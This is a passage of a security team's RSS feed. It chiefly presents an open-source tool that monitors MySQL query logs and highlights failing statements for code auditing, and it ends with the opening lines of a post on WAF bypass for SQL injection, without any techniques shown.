sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="https://www.ms509.com/2020/06/29/Dsmall-Code-Audit/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cd03de4c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935625%26idx%3D1%26sn%3Dce33c88b54ef0a799db818410a2ba34d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Jul 2020 09:01:00 +0800</pubDate>
    </item>
    <item>
      <title>【工具开源】MysqlSql语句监控工具——MysqlLogMonitor</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935504&amp;idx=1&amp;sn=3903f181601834e2d8f716c21d6115d6</link>
      <description>网上其实有很多类似的MysqlSql语句监控工具，肯定有人问为什么要造轮子。很简单，因为在平时的代码审计中，需要一个跨平台友好、功能简单实用、并且可以支持监控错误SQL语句的小工具。拒绝臃肿，拒绝依赖多余的工具(比如tail.exe)。</description>
      <content:encoded><![CDATA[<p>
原创 <span>Walker</span> <span>2020-07-13 16:48</span> <span style="display: inline-block;"></span>
</p>

<p>网上其实有很多类似的MysqlSql语句监控工具，肯定有人问为什么要造轮子。很简单，因为在平时的代码审计中，需要一个跨平台友好、功能简单实用、并且可以支持监控错误SQL语句的小工具。拒绝臃肿，拒绝依赖多余的工具(比如tail.exe)。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a0ca9e7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML4MaOGCZU6W8fMaPQYP4ibuTq0QIyNicFInQ8jibic4ia1kFh5iazBEcw1zew%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><img class="__bg_gif" data-ratio="0.11875" title="1444706553487851.gif" data-type="gif" data-w="640" style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></p><section style="white-space: normal;max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章目录</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><ol class="list-paddingleft-2" style="margin: 0.5em;width: 577.422px;line-height: 1.8em;"><li style="list-style-type: none;"><p>1. 前言</p></li><li style="list-style-type: none;"><p>2. 实现</p></li><li style="list-style-type: none;"><p>3. 功能</p></li><li style="list-style-type: none;"><p>4. 使用</p></li><li style="list-style-type: none;"><p><span style="text-align: left;background-color: rgb(239, 239, 239);">5. 项目地址</span></p></li></ol></section></section></section></section></section></section></section><section style="line-height: 25.6px;white-space: normal;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">一</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">前言</span></section></section></section></section></section></section><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">网上其实有很多类似的MysqlSql语句监控工具，肯定有人问为什么要造轮子。<br/>很简单，因为在平时的代码审计中，需要一个跨平台友好、功能简单实用、并且可以支持监控错误SQL语句的小工具。<br/>拒绝臃肿，拒绝依赖多余的工具(比如tail.exe)。</p></blockquote><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">二</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">实现</span></section></section></section></section></section></section><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">我所知道的有两种方式来做到Mysql执行记录监控</p><ol style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">简单的方式，打开mysql <em style="font-weight: bold;">general_log</em>，实现类似tail的功能，循环读取日志文件。</p></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">专业的方式，建立一个proxy，监测client与mysql的通信。<span style="text-align: center;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;"></span></p></li></ol><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8539823008849557" data-s="300,640" style="" data-type="png" data-w="226" src="https://wechat2rss.xlab.app/img-proxy/?k=12bd3533&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLNXqwnVRicgnTRMnXVdntWuq899wFlKcK2aIvjTz3XCd4ZP6aH6GZ1QQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">此工具选择第一种简单的方式<br/></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;font-size: 20px;">三<br/></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">功能</span></section></section></section></section></section></section><ol style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li><p>输出Mysql所有的SQL语句执行记录，关键点循环读取日志文件利用<br/><em style="font-weight: bold;">org.apache.commons.io.input</em> Tailer类<a href="https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/input/Tailer.html" target="_blank">https://commons.apache.org/proper/commons-io/apidocs/org/apache/commons/io/input/Tailer.html</a></p></li><li><p>高亮显示报错语句，这点在审计中寻找注入点很有必要，具体实现利用</p></li></ol><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><em style="font-weight: bold;">druid</em> SQL语法校验<a href="https://github.com/alibaba/druid/wiki/SQL-Parser" target="_blank">https://github.com/alibaba/druid/wiki/SQL-Parser</a></p><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;font-size: 20px;">四</section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;font-size: 20px;">使用</section></section></section></section></section></section><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">mysql 高版本 general_log 不会记录执行错误的SQL语句到日志，需要在配置文件中[mysqld]中设置log-raw=1</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">本地测试了三个mysql版本</p><ul style="border-radius: 3px;margin-top: 1em;margin-bottom: 1em;" class="list-paddingleft-2"><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">mysql5.5 不需要log-raw</p></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">mysql7.5 需要log-raw</p></li><li><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">mysql8.0.16 需要log-raw</p></li></ul></blockquote><blockquote style="box-sizing: border-box;margin-top: 2.5em;margin-bottom: 2.5em;padding-top: 0px;padding-left: 50px;color: rgb(85, 85, 85);border-left: none;font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;white-space: normal;background-color: rgb(255, 255, 255);"><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">mysql≥ 8.0.19 可以通过系统变量log_raw设置</p></blockquote><p style="text-align: center;"><img class="rich_pages" data-ratio="0.4192521877486078" data-s="300,640" style="" data-type="png" data-w="2514" src="https://wechat2rss.xlab.app/img-proxy/?k=3deeef6d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLLuywrGEZd4ibA3oRyuPDBPyicKurQhFC3sRf1jOAy94NuMVeaXhVMxrw%2F640%3Fwx_fmt%3Dpng"/></p><center style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">log_raw</center><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6091081593927894" data-s="300,640" style="" data-type="png" data-w="2108" src="https://wechat2rss.xlab.app/img-proxy/?k=3a9c493d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaML00icLmhg4zhZxqFFvmvUvicun4ibqAGtNvmV4Lhv8ia4fOaibiaUZm7LsV4Q%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><center style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">正常语句</center><p><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6117424242424242" data-s="300,640" style="" data-type="png" data-w="1056" src="https://wechat2rss.xlab.app/img-proxy/?k=6225e351&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1eV02w7dKIHrX2ng8YLiaMLlL6Twh3oG5k4NMUkxftvTBxhJPriaIHf1EYcFPV4CBotbqWAIsbfvgA%2F640%3Fwx_fmt%3Dpng"/></p><center style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);">高亮报错语句</center><center style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;white-space: normal;background-color: rgb(255, 255, 255);"><br/></center><section style="white-space: normal;line-height: 25.6px;box-sizing: border-box;background-color: rgb(255, 255, 255);"><section style="box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><section style="padding: 2px;display: inline-block;box-sizing: border-box;background-color: rgb(0, 0, 0);"><section style="margin-right: 5px;padding-right: 8px;padding-left: 8px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">五</span></section></section><section style="padding-right: 5px;padding-left: 5px;display: inline-block;color: rgb(255, 255, 255);box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">项目地址</span></section></section></section></section></section></section><p><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);"><a href="https://github.com/J0hnWalker/MysqlMonitor" target="_blank">https://github.com/J0hnWalker/MysqlMonitor</a></span><br/></p><p><span style="color: rgb(68, 68, 68);font-family: PingFangSC-Regular, Helvetica, &#34;Helvetica Neue&#34;, &#34;Segoe UI&#34;, &#34;Hiragino Sans GB&#34;, &#34;Source Han Sans CN&#34;, &#34;Microsoft YaHei&#34;, STHeiti, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 15px;background-color: rgb(255, 255, 255);"><br/></span></p><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-top: 5px;padding-right: 10px;padding-bottom: 5px;border-width: 0px;border-style: none;border-color: initial;color: rgb(51, 51, 51);line-height: 24px;font-size: 14px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;font-family: 微软雅黑;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(12, 137, 24);box-sizing: border-box !important;overflow-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px;margin-bottom: 5px;padding: 5px 10px;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;white-space: normal;color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;line-height: 24px;border-width: 0px;border-style: initial;border-color: initial;background-color: rgb(241, 241, 241);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">本文由<strong style="color: rgb(62, 62, 62);font-family: 微软雅黑;font-size: 14px;letter-spacing: 0.544px;white-space: normal;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(102, 102, 102);box-sizing: border-box !important;overflow-wrap: break-word !important;">团队成员Walker</span></strong>@MS509原创，转载请注明来源。</span></strong></p><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><em style="text-align: left;white-space: normal;background-color: rgb(239, 239, 239);"><em><em style="max-width: 100%;color: rgb(62, 62, 62);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509是中国电子科技网络信息安全有限公司（简称“中国网安”）旗下从事安全漏洞挖掘及利用方法研究的纯技术研究团队，研究方向包括WEB安全、红蓝对抗、移动安全、逆向分析、二进制安全、智能硬件（IOT）安全、工控安全、无线安全、APT攻击追踪溯源、安全编程等。</span></em></em></em></em><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></em></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="white-space: normal;max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="https://www.ms509.com/2020/07/13/MysqlLogMonitor/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=50c8d860&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935504%26idx%3D1%26sn%3D3903f181601834e2d8f716c21d6115d6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 13 Jul 2020 16:48:00 +0800</pubDate>
    </item>
    <item>
      <title>WAF绕过奇技淫巧之SQL注入</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935480&amp;idx=1&amp;sn=d42196a72a7c1819745384371d58063b</link>
      <description>WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生，在渗透测试一个目标的时候常常作为拦路虎让人头痛不已，笔者这段时间花了些精力对国内外比较常见的WAF进行了绕过研究，这只拦路虎其实也并没有想象</description>
      <content:encoded><![CDATA[<p>
<span>flystart</span> <span>2020-06-24 18:07</span> <span style="display: inline-block;"></span>
</p>

<p>WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生，在渗透测试一个目标的时候常常作为拦路虎让人头痛不已，笔者这段时间花了些精力对国内外比较常见的WAF进行了绕过研究，这只拦路虎其实也并没有想象</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9a5935d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD134sEATIvibryYxd5nmM0vQ8dIhfVPWRMtvzIPSpPrsubB3zlLsjaIqH2icJz5pcq2jeDo71aibuvJw%2F0%3Fwx_fmt%3Djpeg"/>
